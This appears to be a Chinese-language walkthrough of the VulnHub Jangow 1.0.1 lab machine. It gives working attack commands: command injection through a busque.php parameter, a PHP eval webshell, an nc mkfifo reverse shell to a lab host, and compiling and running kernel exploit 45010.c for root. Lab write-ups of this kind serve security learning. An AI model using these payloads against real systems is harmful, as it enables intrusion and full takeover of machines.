目录
二、漏洞挖掘
前言
Difficulty: easy
The secret to this box is enumeration!
下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova.torrent
一、信息收集
0x00 环境介绍
Jangow1.0.1靶机IP:192.168.56.118
kali攻击机IP: 192.168.56.102
0x01 nmap扫描
查看开启端口和服务,
二、漏洞挖掘
通过访问靶机IP,寻找利用点
0x00 命令执行漏洞利用
进去site文件,发现功能点
http://192.168.56.118/site/busque.php?buscar=
尝试命令执行whoami
http://192.168.56.118/site/busque.php?buscar=whoami
发现是可以执行命令的
查看密码文件
cat/etc/passwd
0x01 一句话木马利用
可以根据命令执行漏洞写入一句话木马
写入一句话木马蚁剑连接
echo '<?php @eval ($_POST["123"]);?>' >>shell.php
0x02 信息收集
在文件中寻找敏感信息,比如账号密码,为进一步渗透做铺垫。
三、权限提升
0x00 反弹shell
蚁剑中只能查看部分文件,没有权限,所以可以做反弹shell进一步提权
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.128 443 >/tmp/f');?>
反弹成功
升级shell,变成交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'
uname -a
获取版本号
根据系统版本提权
searchsploit ubuntu 4.4.0采用45010.c这个文件进行提权
蚁剑将该文件上传到靶机
下载链接
https://gitee.com/jewels/Privilege-Escalation/repository/archive/master.zip
gcc 45010.c -o exp //生成可执行文件
chmod +x exp //添加可执行权限
./exp //执行exp文件
进入root目录,查看文件。
发现proof.txt文件,进行查看。
flag
MD5解密发现是空密码